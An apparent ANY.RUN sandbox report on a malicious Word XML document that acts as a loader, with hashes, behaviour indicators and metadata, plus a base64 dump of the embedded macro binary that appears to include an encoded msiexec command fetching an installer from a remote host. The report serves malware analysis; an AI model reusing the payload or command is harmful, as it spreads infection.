analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | Judith's Quote.doc |
| Full analysis: | https://app.any.run/tasks/1ff73172-5d40-4ad0-ac5d-bc96d2f406e0 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | January 18, 2019, 08:00:44 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/xml |
| File info: | XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators |
| MD5: | 537495E8B103E9D11AF0DE308ACA8BB7 |
| SHA1: | C02EA1A5EFBC2A49A712B8C54EA836613A6F0080 |
| SHA256: | 7C5EBE9A117C68F7B141DDADFABED7127E4F038FE2BB8ECCB586DCC8D63BE917 |
| SSDEEP: | 1536:EFxdR5mxXjxjTbYRysfV1koJ1umn3jbFlBNexxbUvqXpsxGBWv2sdoXo+6LIyLtP:Jojum9sb6q5mup4kw3tiV/ubstk527q |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2628)
Uses Microsoft Installer as loader
- WINWORD.EXE (PID: 2628)
Downloads executable files from the Internet
- msiexec.exe (PID: 3092)
SUSPICIOUS
Starts Microsoft Office Application
- MSOXMLED.EXE (PID: 2960)
Executable content was dropped or overwritten
- msiexec.exe (PID: 3092)
Drop ExeToMSI Application
- msiexec.exe (PID: 3092)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2628)
Creates files in the user directory
- WINWORD.EXE (PID: 2628)
Application was dropped or rewritten from another process
- MSI7F46.tmp (PID: 2496)
Writes to a desktop.ini file (may be used to cloak folders)
- msiexec.exe (PID: 3092)
Starts application with an unusual extension
- msiexec.exe (PID: 3092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xml | | | Microsoft Office XML Flat File Format Word Document (ASCII) (44.2) |
|---|---|---|
| .rels | | | Open Office XML Relationships (28.5) |
| .xml | | | Microsoft Office XML Flat File Format (ASCII) (21) |
| .svg | | | Scalable Vector Graphics (var.3) (4.5) |
| .xml | | | Generic XML (ASCII) (1.5) |
EXIF
XMP
| PackagePartXmlDataWebSettingsOptimizeForBrowser: | - |
|---|---|
| PackagePartXmlDataFontsFontSigCsb1: | 00000000 |
| PackagePartXmlDataFontsFontSigCsb0: | 0000019F |
| PackagePartXmlDataFontsFontSigUsb3: | 00000000 |
| PackagePartXmlDataFontsFontSigUsb2: | 00000009 |
| PackagePartXmlDataFontsFontSigUsb1: | 4000ACFF |
| PackagePartXmlDataFontsFontSigUsb0: | E10002FF |
| PackagePartXmlDataFontsFontPitchVal: | variable |
| PackagePartXmlDataFontsFontFamilyVal: | swiss |
| PackagePartXmlDataFontsFontCharsetVal: | 00 |
| PackagePartXmlDataFontsFontPanose1Val: | 020F0502020204030204 |
| PackagePartXmlDataFontsFontName: | Calibri |
| PackagePartXmlDataCorePropertiesModified: | 2019:01:18 05:27:00Z |
| PackagePartXmlDataCorePropertiesModifiedType: | dcterms:W3CDTF |
| PackagePartXmlDataCorePropertiesCreated: | 2019:01:18 05:27:00Z |
| PackagePartXmlDataCorePropertiesCreatedType: | dcterms:W3CDTF |
| PackagePartXmlDataCorePropertiesRevision: | 1 |
| PackagePartXmlDataCorePropertiesLastModifiedBy: | BABA TEE |
| PackagePartXmlDataCorePropertiesDescription: | - |
| PackagePartXmlDataCorePropertiesKeywords: | - |
| PackagePartXmlDataCorePropertiesCreator: | BABA TEE |
| PackagePartXmlDataCorePropertiesSubject: | - |
| PackagePartXmlDataCorePropertiesTitle: | - |
| PackagePartXmlDataStylesStyleCustomStyle: | 1 |
| PackagePartXmlDataStylesStyleRPrSzCsVal: | 16 |
| PackagePartXmlDataStylesStyleRPrSzVal: | 16 |
| PackagePartXmlDataStylesStyleRPrRFontsCs: | Tahoma |
| PackagePartXmlDataStylesStyleRPrRFontsHAnsi: | Tahoma |
| PackagePartXmlDataStylesStyleRPrRFontsAscii: | Tahoma |
| PackagePartXmlDataStylesStylePPrSpacingLineRule: | auto |
| PackagePartXmlDataStylesStylePPrSpacingLine: | 240 |
| PackagePartXmlDataStylesStylePPrSpacingAfter: | - |
| PackagePartXmlDataStylesStyleLinkVal: | BalloonTextChar |
| PackagePartXmlDataStylesStyleBasedOnVal: | Normal |
| PackagePartXmlDataStylesStyleTblPrTblCellMarRightType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarRightW: | 108 |
| PackagePartXmlDataStylesStyleTblPrTblCellMarBottomType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarBottomW: | - |
| PackagePartXmlDataStylesStyleTblPrTblCellMarLeftType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarLeftW: | 108 |
| PackagePartXmlDataStylesStyleTblPrTblCellMarTopType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblCellMarTopW: | - |
| PackagePartXmlDataStylesStyleTblPrTblIndType: | dxa |
| PackagePartXmlDataStylesStyleTblPrTblIndW: | - |
| PackagePartXmlDataStylesStyleUnhideWhenUsed: | - |
| PackagePartXmlDataStylesStyleSemiHidden: | - |
| PackagePartXmlDataStylesStyleUiPriorityVal: | 1 |
| PackagePartXmlDataStylesStyleRsidVal: | 006342C1 |
| PackagePartXmlDataStylesStyleQFormat: | - |
| PackagePartXmlDataStylesStyleNameVal: | Normal |
| PackagePartXmlDataStylesStyleStyleId: | Normal |
| PackagePartXmlDataStylesStyleDefault: | 1 |
| PackagePartXmlDataStylesStyleType: | paragraph |
| PackagePartXmlDataStylesLatentStylesLsdExceptionQFormat: | 1 |
| PackagePartXmlDataStylesLatentStylesLsdExceptionUnhideWhenUsed: | - |
| PackagePartXmlDataStylesLatentStylesLsdExceptionUiPriority: | - |
| PackagePartXmlDataStylesLatentStylesLsdExceptionSemiHidden: | - |
| PackagePartXmlDataStylesLatentStylesLsdExceptionName: | Normal |
| PackagePartXmlDataStylesLatentStylesCount: | 267 |
| PackagePartXmlDataStylesLatentStylesDefQFormat: | - |
| PackagePartXmlDataStylesLatentStylesDefUnhideWhenUsed: | 1 |
| PackagePartXmlDataStylesLatentStylesDefSemiHidden: | 1 |
| PackagePartXmlDataStylesLatentStylesDefUIPriority: | 99 |
| PackagePartXmlDataStylesLatentStylesDefLockedState: | - |
| PackagePartXmlDataStylesDocDefaultsPPrDefaultPPrSpacingLineRule: | auto |
| PackagePartXmlDataStylesDocDefaultsPPrDefaultPPrSpacingLine: | 259 |
| PackagePartXmlDataStylesDocDefaultsPPrDefaultPPrSpacingAfter: | 160 |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangBidi: | ar-SA |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangEastAsia: | en-US |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrLangVal: | en-US |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrSzCsVal: | 22 |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrSzVal: | 22 |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsCstheme: | minorBidi |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsHAnsiTheme: | minorHAnsi |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsEastAsiaTheme: | minorHAnsi |
| PackagePartXmlDataStylesDocDefaultsRPrDefaultRPrRFontsAsciiTheme: | minorHAnsi |
| PackagePartXmlDataPropertiesAppVersion: | 12 |
| PackagePartXmlDataPropertiesHyperlinksChanged: | - |
| PackagePartXmlDataPropertiesSharedDoc: | - |
| PackagePartXmlDataPropertiesCharactersWithSpaces: | 1 |
| PackagePartXmlDataPropertiesLinksUpToDate: | - |
| PackagePartXmlDataPropertiesCompany: | - |
| PackagePartXmlDataPropertiesScaleCrop: | - |
| PackagePartXmlDataPropertiesParagraphs: | 1 |
| PackagePartXmlDataPropertiesLines: | 1 |
| PackagePartXmlDataPropertiesDocSecurity: | - |
| PackagePartXmlDataPropertiesApplication: | Microsoft Office Word |
| PackagePartXmlDataPropertiesCharacters: | 1 |
| PackagePartXmlDataPropertiesWords: | - |
| PackagePartXmlDataPropertiesPages: | 1 |
| PackagePartXmlDataPropertiesTotalTime: | - |
| PackagePartXmlDataPropertiesTemplate: | Normal |
| PackagePartXmlDataPropertiesXmlns: | http://schemas.openxmlformats.org/officeDocument/2006/extended-properties |
| PackagePartXmlDataSettingsListSeparatorVal: | , |
| PackagePartXmlDataSettingsDecimalSymbolVal: | . |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutIdmapData: | 1 |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutIdmapExt: | edit |
| PackagePartXmlDataSettingsShapeDefaultsShapelayoutExt: | edit |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsSpidmax: | 1026 |
| PackagePartXmlDataSettingsShapeDefaultsShapedefaultsExt: | edit |
| PackagePartXmlDataSettingsClrSchemeMappingFollowedHyperlink: | followedHyperlink |
| PackagePartXmlDataSettingsClrSchemeMappingHyperlink: | hyperlink |
| PackagePartXmlDataSettingsClrSchemeMappingAccent6: | accent6 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent5: | accent5 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent4: | accent4 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent3: | accent3 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent2: | accent2 |
| PackagePartXmlDataSettingsClrSchemeMappingAccent1: | accent1 |
| PackagePartXmlDataSettingsClrSchemeMappingT2: | dark2 |
| PackagePartXmlDataSettingsClrSchemeMappingBg2: | light2 |
| PackagePartXmlDataSettingsClrSchemeMappingT1: | dark1 |
| PackagePartXmlDataSettingsClrSchemeMappingBg1: | light1 |
| PackagePartXmlDataSettingsThemeFontLangVal: | en-US |
| PackagePartXmlDataSettingsMathPrNaryLimVal: | undOvr |
| PackagePartXmlDataSettingsMathPrIntLimVal: | subSup |
| PackagePartXmlDataSettingsMathPrWrapIndentVal: | 1440 |
| PackagePartXmlDataSettingsMathPrDefJcVal: | centerGroup |
| PackagePartXmlDataSettingsMathPrRMarginVal: | - |
| PackagePartXmlDataSettingsMathPrLMarginVal: | - |
| PackagePartXmlDataSettingsMathPrDispDef: | - |
| PackagePartXmlDataSettingsMathPrSmallFrac: | - |
| PackagePartXmlDataSettingsMathPrBrkBinSubVal: | -- |
| PackagePartXmlDataSettingsMathPrBrkBinVal: | before |
| PackagePartXmlDataSettingsMathPrMathFontVal: | Cambria Math |
| PackagePartXmlDataSettingsRsidsRsidVal: | 00100E78 |
| PackagePartXmlDataSettingsRsidsRsidRootVal: | 001166CC |
| PackagePartXmlDataSettingsCompat: | - |
| PackagePartXmlDataSettingsCharacterSpacingControlVal: | doNotCompress |
| PackagePartXmlDataSettingsDefaultTabStopVal: | 720 |
| PackagePartXmlDataSettingsZoomPercent: | 100 |
| PackagePartXmlDataVbaSuppDataMcdsMcdCmg: | 56 |
| PackagePartXmlDataVbaSuppDataMcdsMcdBEncrypt: | 00 |
| PackagePartXmlDataVbaSuppDataMcdsMcdName: | Project.vMT_NnVM1J_NG6PS.ca4NCsBp6_UvDfEVj7bC |
| PackagePartXmlDataVbaSuppDataMcdsMcdMacroName: | PROJECT.VMT_NNVM1J_NG6PS.CA4NCSBP6_UVDFEVJ7BC |
| PackagePartXmlDataVbaSuppDataDocEventsEventDocOpen: | - |
| PackagePartXmlDataThemeExtLstExtThemeFamilyXmlns: | - |
| PackagePartXmlDataThemeExtLstExtThemeFamilyVid: | {4A3C46E8-61CC-4603-A589-7422A47A8E4A} |
| PackagePartXmlDataThemeExtLstExtThemeFamilyId: | {62F939B6-93AF-4DB8-9C6B-D6C7DFDC589F} |
| PackagePartXmlDataThemeExtLstExtThemeFamilyName: | Office Theme |
| PackagePartXmlDataThemeExtLstExtUri: | {05A4C25C-085E-4340-85A3-A5531E510DB2} |
| PackagePartXmlDataThemeExtraClrSchemeLst: | - |
| PackagePartXmlDataThemeObjectDefaults: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillLinScaled: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillLinAng: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrLumModVal: | 102000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrShadeVal: | 98000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrSatModVal: | 150000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrTintVal: | 93000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillGsLstGsPos: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstGradFillRotWithShape: | 1 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrSatModVal: | 170000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrTintVal: | 95000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeBgFillStyleLstSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwSrgbClrAlphaVal: | 63000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwSrgbClrVal: | 000000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwRotWithShape: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwAlgn: | ctr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwDir: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwDist: | 19050 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLstOuterShdwBlurRad: | 57150 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeEffectStyleLstEffectStyleEffectLst: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnMiterLim: | 800000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnPrstDashVal: | solid |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnAlgn: | ctr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnCmpd: | sng |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnCap: | flat |
| PackagePartXmlDataThemeThemeElementsFmtSchemeLnStyleLstLnW: | 6350 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrShadeVal: | 100000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillLinScaled: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillLinAng: | 5400000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrTintVal: | 67000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrSatModVal: | 105000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrLumModVal: | 110000 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillGsLstGsPos: | - |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstGradFillRotWithShape: | 1 |
| PackagePartXmlDataThemeThemeElementsFmtSchemeFillStyleLstSolidFillSchemeClrVal: | phClr |
| PackagePartXmlDataThemeThemeElementsFmtSchemeName: | Office |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontFontTypeface: | ＭＳ 明朝 |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontFontScript: | Jpan |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontCsTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontEaTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMinorFontLatinTypeface: | Calibri |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontFontTypeface: | ＭＳ ゴシック |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontFontScript: | Jpan |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontCsTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontEaTypeface: | - |
| PackagePartXmlDataThemeThemeElementsFontSchemeMajorFontLatinTypeface: | Calibri Light |
| PackagePartXmlDataThemeThemeElementsFontSchemeName: | Office |
| PackagePartXmlDataThemeThemeElementsClrSchemeFolHlinkSrgbClrVal: | 954F72 |
| PackagePartXmlDataThemeThemeElementsClrSchemeHlinkSrgbClrVal: | 0563C1 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent6SrgbClrVal: | 70AD47 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent5SrgbClrVal: | 4472C4 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent4SrgbClrVal: | FFC000 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent3SrgbClrVal: | A5A5A5 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent2SrgbClrVal: | ED7D31 |
| PackagePartXmlDataThemeThemeElementsClrSchemeAccent1SrgbClrVal: | 5B9BD5 |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt2SrgbClrVal: | E7E6E6 |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk2SrgbClrVal: | 44546A |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt1SysClrLastClr: | FFFFFF |
| PackagePartXmlDataThemeThemeElementsClrSchemeLt1SysClrVal: | window |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk1SysClrLastClr: | 000000 |
| PackagePartXmlDataThemeThemeElementsClrSchemeDk1SysClrVal: | windowText |
| PackagePartXmlDataThemeThemeElementsClrSchemeName: | Office |
| PackagePartXmlDataThemeName: | Office Theme |
| PackagePartCompression: | store |
| PackagePartBinaryData: | 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAA EAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////9 ////LAAAAP7///8EAAAABQAAAD0AAAAHAAAACAAAAAkAAAAKAAAACwAAAAwAAAAYAAAADgAAAA8A AAAQAAAAEQAAABIAAAATAAAAFAAAABUAAAAWAAAAFwAAAAYAAAAZAAAAGgAAABsAAAAcAAAAHQAA AB4AAAAfAAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAArAAAA /v////7///8uAAAALwAAADAAAAAxAAAAMgAAADsAAAA0AAAANQAAADYAAAA3AAAAOAAAADkAAAA6 AAAALQAAADwAAAD+////PgAAAP7///////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////1IA bwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAWAAUA//////////8HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJDo8nXurtQB AwAAAMAJAAAAAAAAVgBCAEEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAgAAQD//////////wQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGBz 8nXurtQBkOjyde6u1AEAAAAAAAAAAAAAAABUAGgAaQBzAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGgACAQUAAAD//////////wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/BAAAAAAAAHYATQBUAF8ATgBuAFYATQAx AEoAXwBOAEcANgBQAFMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAIB//////// ////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAAAHRLAAAAAAAAAQAA AAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAADQAAAA4AAAAPAAAA EAAAABEAAAASAAAAEwAAAP7///8VAAAAFgAAABcAAAAYAAAAGQAAABoAAAAbAAAAHAAAAB0AAAD+ ////HwAAAP7///8hAAAAIgAAACMAAAAkAAAAJQAAACYAAAD+//////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////8BFgEA APAAAADeAgAA1AAAANoBAAD/////5QIAAPEDAAAAAAAAAQAAADHlQBkAAP//owEAAIgAAAC2AP// AQEAAAAA/////wAAAAD///////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAQAAAAAwAAAAUAAAAHAAAA//////////8BAQgAAAD/////eAAAAAgA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAAAAE1FAAD///////8AAAAA//8AAAAA //8BAQAAAADfAP//AAAAAAwA//////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////8oAAAAAgBTIv////8AAAEAUxD/////AAAB AFMi/////wAAAAACPP////8AAP//AQEAAAAAAQAoADEATgBvAHIAbQBhAGwALgBUAGgAaQBzAEQA bwBjAHUAbQBlAG4AdAAAAAAA/////wEBeAAAAAKA/v//////EAD//ygAAAACAf//AAAAAAAAAAD/ /////////wAAAAAdAAAAJQAAAAwR5gL//////////wAAAAD//////////wAAAAAAAAAA/////wAA AAD///////////////8MAAAAAACUAAAAAAD/////CAAAAAEA//8AAAEAAAAAAAAAAAAwAAAA//// //////8AAAAA//////////8wAAAA//////////8AAAAA//////////////////////////8AAAAA AAAAAP//////////AAAAAP///////////////////////////////////////wAAAAAAAN8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+ ygEADAAigQgABgAAAAAAAAAAgAkAAAAAAP////8AgQgABAAAAAgAAAAAgAkAAAAAAP////8AgQgB CgAAABAAAAAAgAkBAAAAAP////8AgAkAAAAAAP////8EgQgAAgAAACAAAAAAgAkAAAAAAP////8A gAkAAAAAAP////8AgAkAAAAAAP////8AgAkAAAAAAP//////////AQEwAAAAlgQwAAAAAADJBAAA cAAAACAAHAJCQCICAAAAAAQAAABvAP//WAAAAP////9QAAAA/////wAAAQSxAEF0dHJpYnV0AGUg VkJfTmFtAGUgPSAiVGhpAHNEb2N1bWVuEHQiDQoKjEJhcwECjDFOb3JtYWwCLhlWR2xvYmFsIQGq U3BhYwFsRmEIbHNlDKJDcmVhEHRhYmwVH1ByZSBkZWNsYQAGSWQRAJ5UcnUNQkV4cAhvc2UUHFRl bXAAbGF0ZURlcmkCdhUkQ3VzdG9tbGl6hEODMVAAGAAcIBBTdWIghYdfT3AAZW4oKQ0KDQoAT24g RXJyb3IQIFJlc4CVIE5lBHh0gQsgdk1UXwBOblZNMUpfTgBHNlBTLmNhNABOQ3NCcDZfVQB2RGZF Vmo3YhBDDQogARZFbmQHgS8BBYMBAAFKsoABAAQAAAABADAqAgKQCQBwFAZIAwCCAgBk5AQEAAcA HABQcm9qZWN0BVEAKAAAQAIUBgIUPa0CCgcCbAEUCAYSCQISgD0CIF4NAAwCShI8AgoWAAFyc3Rk EG9sZT4CGXMAdAAAZABvAGwAZVAADQBoACVeAAMqAFxHezAwMDIwsDQzMC0ACAQEQwAKAwIOARIw MDQ2fSMAMi4wIzAjQzoAXFdpbmRvd3MAXHN5c3RlbTMEMlwDZTIudGxiACNPTEUgQXV0gG9tYXRp b24AYAMAAoNFTm9ybWFsBYNFToBDcgBtAGFRgEYOACCAEQmAASqcXEMDEgoGgW0IAIMAnABdAPIE AAEAAGsA//9IAAAAXQDyBBgBAAC2ABwAeUxuektiT2xKd2VGVHhQOVU2X0M0cENQREtEeLYAIgB5 VWFrOVNiV0JzUEhOZTRJY2JydDZMSHRqeV9ISFZ1OVdhBQCcAAAAAAAAAF0A8gQwAQAAawD//+AB AABdAPIESAEAALYAFgB6b2RBNXFMVzFzSHV5NkFnMjlHcEsxtgA3AG1jdkZNMmU3dWlZVHk2el92 THRwNkFmYXNlSUdhX0xwdjlCX054Y1QxNDdoVGNFRHF2SzQ2ZTUABQCcAAAAAAAAAF0A8gRgAQAA awD//2gBAABdAPIEeAEAALYAlABUUUJ6QUdrQVpRQllBR1VBUXdBdUFHVUFlQUJsQUNBQUx3QnBB Q0FBYUFCMEFIUUFjQUE2QUM4QUx3QnNBR2tBWmdCMEFHVUFiZ0JsQUdFQUxnQmpBRzhBTGdCckFH VUFMd0EzQURnQU53QXpBRFVBWkFBd0FDNEFiUUJ6QUdrQUlBQXZBSEVBZFFCcEFHVUFkQUE9JABA AgEAJwA+AgAAAAAAALYADQBocWlFTWpKMURvUmNfALYAJgBnaE5fbm5kcEVfb05zVVBxS3N3R3FW R1Y5c29qbHBPTmF2dkNrcAUAnABdAPIEkAEAAGsA//9oAAAAXQDyBKgBAAC2AAgATm5Va1VtTki2 ACwAZ2lhZnVXRXJfcmRfNUZmV2dWMzh1TEtJRVJZdmo4OU90UEtyWDVOb2lCNHAFAJwAXQDyBMAB AABrAP//EAAAAF0A8gTYAQAAtgADAHhkZwC2AC8AZ3VCRlZrYUo4a095YV8yTEJrWGlPN09fRndI VGVfc3hmU2MxaGdQM3RldEljTkIABQCcAF0A8gTwAQAAawD//7gDAABdAPIECAIAACAAPgIgADAC QQBOAgIAAAC2AA8AY2VmZDZOWDNUbmlVb0FOALYALgB5Y2hYQmd6NGo4bHdNNjNFUzJqZkpnS3F3 Z3NyZVRCRWZuQnFTZmVkbWs1ZVJhBQCcAAAAAAAAAF0A8gQgAgAAawD//0ADAABdAPIEOAIAALYA BABrYUFhtgAjAEN3Qm42b212ZExQOGwzZWRsdWpMSHRmeUVSUjJPaTRidTNFAAUAnAAAAAAAXQDy BFACAABrAP//8AIAAF0A8gRoAgAAtgAFAHdxQ2x1ALYAIQBVN0NlaWU4WUI1WWdTZ3RUOWpwbWIz VjRTRHVvdDl5S3cABQCcAAAAAABdAPIEgAIAAGsA//+gAgAAXQDyBJgCAABvAP//kAIAAJYIsAIA AAAAtgARAGE5VFlpNmNEbl9mdjk4eVdUALYAOgBpRktmcEJMX3JLdE1nZDlpV3NhSlZBbkhMNjRJ azRXbV9LUU5KVnU2Rlkxc3N6RmpmTGpNVkw3Z2JDBQCcAF0A8gQQAwAAawD//yACAABdAPIEKAMA ALYAGQB4S243eGZrU0hJX05pM00xNGpXdXRYdzFDALYAOgB0eDN6clYxaXA1Z1c2QUNGaE9iSUdt aXpNREFudWZZV3c0RHJyY1p3TG8zN3BjOGlUbktHVHE0RU1DBQCcAF0A8gRAAwAAawD//6gBAABd APIEWAMAALYAAwBMQ0wAtgArAGlBSWwxR3lTek05V1RoajF1X0xpRUwzTVpYNmtIZjNNYXcyVGFQ OVpCaHgABQCcAAAAAABdAPIEcAMAAGsA//9QAQAAXQDyBIgDAAC2ABAATWljcm9zb2Z0LnhtbGRv bScAIAK2AAgARmlKQzNZY2a2ADIAckgxOWc3bnJEa0ZlUXNuZVRpbFRneFh2bURuX2pfb0JwaFZI RjFXZGc4NVdrRl9WNW4FAJwAAABdAPIEoAMAAGsA///YAAAAXQDyBLgDAAC2AAsAaUpIYnFFblhH VG4AtgAvAFQxckFLSFQyTXhyYXJDRlBsMnczZVpTTl9fWFZQUjN4Z0JrcjRLWUVTdzVaMXJaAAUA nABdAPIE0AMAAGsA//94AAAAXQDyBOgDAAC2ABAAdEpIbWdaeHZyTDVJTFNMZLYAKgBjVllneF9r OW9QeEthUmdVcGtrSUNWOGU5OE83ZloxU282NE9vQXh0aUkFAJwAAABdAPIEAAQAAGsA//8YAAAA XQDyBBgEAABdAPIEMAQAALYAEwBJTDRWZFBKMzNfalk1S3h6b0ptALYANQB2UXd4M0RIWXRKNURI 